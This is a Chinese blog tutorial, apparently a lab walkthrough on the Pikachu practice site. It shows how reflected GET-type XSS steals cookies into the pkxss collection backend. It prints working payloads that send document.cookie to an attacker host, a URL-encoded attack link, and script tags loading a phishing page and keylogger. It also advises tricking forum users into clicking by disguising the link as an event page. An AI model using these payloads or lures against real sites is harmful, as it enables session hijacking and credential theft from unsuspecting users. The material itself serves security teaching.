当前位置:网站首页>3-5通过XSS获取cookie以及XSS后台管理系统的使用
3-5通过XSS获取cookie以及XSS后台管理系统的使用
2022-04-23 20:41:00 【山兔1】
XSS漏洞测试:cookie获取和钓鱼攻击演示
XSS漏洞测试:cookie的窃取和利用
同时讲到get型xss的利用,post型xss的利用
XSS漏洞测试:钓鱼攻击
XSS漏洞测试:xss获取用户键盘记录
让大家更好的理解xss的危害以及原理
案例1:xss如何获取cookie?
GET型XSS利用:cookie获取
pkxss管理后台使用介绍
在源码包里面,有一个pkxss,我们可以把这个目录,单独的放在某个目录下面,这个东西其实是一个可以独立使用的后台,我们可以单独的把他放在站点目录下面,去访问它
首先打开pikachu的网站,在管理工具下面,有一个xss后台,在第一次使用的时候,需要安装一下,在安装之前,我们要保证,在我们的代码inc文件夹里面,config.inc.php里面
你要确保你的账号密码是对的,我们来登录看一下
我们点一下cookie搜集
这个地方是结果展示页面,默认情况下,这里没有任何数据
cookie获取后端代码分析
我们在pkxss目录下面,有一个xcookie模块,在这个下面,有一个cookie.php,实际上,所有的数据都是发送到这里来
通过get方式,去获取有没有发送cookie给我,如果有就把它记录下来,同时把请求里面的referer、useragent读下来,然后把它插入到数据库里面去
header("Location:http://192.168.1.4/pikachu/index.php");
在后面还做了一个重定向,在实际的应用场景下面,我们发一个链接给别人,别人点了一下,不可能会弹出一个空白页面,所以说,最终我们得把它重定向到可信的页面上面去,当他点完之后,察觉不到这个链接做了什么坏事,所以说,我们一般要把它重定向到它所访问的网站首页,或者是,某个其它的页面,但是在我们的实验里面,这个地方,会重定向到存在漏洞的网站首页
pkxss_cookie_result.php文件是做查询的页面,就是我们刚看到的,后台的php文件
这个文件是要做登录的,就是说只有登录的人,才能去访问,获取xss的结果,这个文件是直接把数据库里面的cookie信息,给展示出来
接下来,我们演示一下get型xss的流程,我们把字符长限制给去掉
我在这里准备了一段js的代码
pkxss后台:
http://192.168.1.15/pkxss/pkxss_login.php
<script>document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
http://192.168.1.4/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.1.15%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
<img src="http://192.168.1.15/pkxss/xfish/fish.php" />
<script src="http://192.168.1.15/pkxss/xfish/fish.php"></script>
<script src="http://192.168.1.15/pkxss/rkeypress/rk.js"></script>
模拟的恶意站点:
http://192.168.1.5/post.html
他会通过document.location这个实例,去做一个重定向,一旦他访问这个页面,js就会去访问1.15,我们的xss后台,然后我们访问的时候,随便把cookie给带过去,通过document.cookie这个实例去获取本地的cookie,那这样,就形成了一个完整的get请求,我们可以把这段复制一下
<script>document.location = 'http://192.168.42.236/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
放到输入框里面,点提交
他返回到了首页,js在本地执行后,就会去返回后台,理论上,这个时候,我们已经获取到cookie了,把这个页面刷新一下
这个地方就会多出一道记录
在实际上的场景中,我们要把那段url在传参的时候,做一个编码,把这段url复制好,直接发送给用户
http://192.168.1.4/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.1.15%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
比如说,这是个比较重要的论坛,我们跟用户聊天的时候,告诉他这是个活动页面,欺骗用户去点击,一旦用户在这个浏览器里面访问了这个链接,他就会跳到首页,当然,也可以跳到其它的页面,主要的目的是为了掩盖我们背后的行为
这就是get型请求下面的反射型xss的利用
版权声明
本文为[山兔1]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_53008479/article/details/124366923
边栏推荐
- Monte Carlo py solves the area problem! (save pupils Series)
- Solve the Chinese garbled code of URL in JS - decoding
- star
- Leetcode 232, queue with stack
- Leetcode 1337. Row K with the weakest combat effectiveness in the matrix
- Parsing methods of JSON data in C - jar and jobobject: error reading jar from jsonreader Current JsonReader item
- GO語言開發天天生鮮項目第三天 案例-新聞發布系統二
- Automatically fill in body temperature and win10 task plan
- Bash script learning -- for loop traversal
- How many hacking methods do you know?
猜你喜欢
C migration project record: modify namespace and folder name
[stack and queue topics] - sliding window
[latex] 5 how to quickly write out the latex formula corresponding to the formula
High paid programmer & interview question series 91 limit 20000 loading is very slow. How to solve it? How to locate slow SQL?
Monte Carlo py solves the area problem! (save pupils Series)
Vulnhub DC: 1 penetration notes
Mathematical modeling column | Part 5: MATLAB optimization model solving method (Part I): Standard Model
Case of the third day of go language development fresh every day project - news release system II
Identification of bolt points in aerial photography based on perception
Automatically fill in body temperature and win10 task plan
随机推荐
Analysis of the relationship between generalized Bim and CAD under the current background
Create vs project with MATLAB
Communication between RING3 and ring0
Parsing methods of JSON data in C - jar and jobobject: error reading jar from jsonreader Current JsonReader item
Some basic configurations in interlij idea
16MySQL之DCL 中 COMMIT和ROllBACK
Scrapy教程 - (2)寫一個簡單爬蟲
MySQL基础合集
The construction and use of Fortress machine and springboard machine jumpserver are detailed in pictures and texts
bounding box iou
Scripy tutorial - (2) write a simple crawler
Commande dos pour la pénétration de l'Intranet
Actual measurement of automatic ticket grabbing script of barley network based on selenium (the first part of the new year)
启牛学堂有用吗,推荐的证券账户是否安全
RT-1052学习笔记 - GPIO架构分析
Bash script learning -- for loop traversal
Leetcode 994, rotten orange
Latest investigation and progress of building intelligence based on sati
Commit and ROLLBACK in DCL of 16mysql
Case of the third day of go language development fresh every day project - news release system II